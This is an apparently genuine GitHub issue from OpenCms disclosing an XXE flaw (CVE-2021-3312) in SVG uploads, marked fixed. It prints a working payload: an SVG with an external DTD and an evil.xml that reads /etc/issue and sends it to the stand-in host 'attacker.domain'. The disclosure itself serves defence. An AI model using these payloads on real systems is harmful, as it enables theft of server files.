New issue

Jump to bottom

XXE vulnerability allows exfiltration of data from the server file system by uploading a crafted SVG #725

Closed gWestenberger opened this issue on Oct 7, 2021 · 1 comment

gWestenberger commented on Oct 7, 2021 Contributor

In OpenCms 11.x, it is possible for logged in users with edit permissions to exfiltrate data from the server's file system and send it to an external server by uploading specially crafted SVGs files.

Example in which the first line of /etc/issue is read and sent to the server "attacker.domain":

The SVG file to upload:

```
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://attacker.domain/evil.xml">
%sp;
]>
<svg viewBox="0 0 200 200" version="1.2" xlmns="http://www.w3.org/2000/svg" style="fill:red">
        <text x="15" y="100" style="fill:black">&exfil;</text>
</svg>
```

The evil.xml file served by the external server "attacker.domain":

```
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.domain/?%file;'>">
%eval;
%exfil;
```

CVE ID: CVE-2021-3312.

gWestenberger added a commit that referenced this issue on Oct 7, 2021

`Fixed XXE issue in SVG processing (github issue #725).` 92e0354

gWestenberger commented on Oct 7, 2021 Contributor Author

Fixed in master branch for coming release.

gWestenberger closed this as completed on Oct 7, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant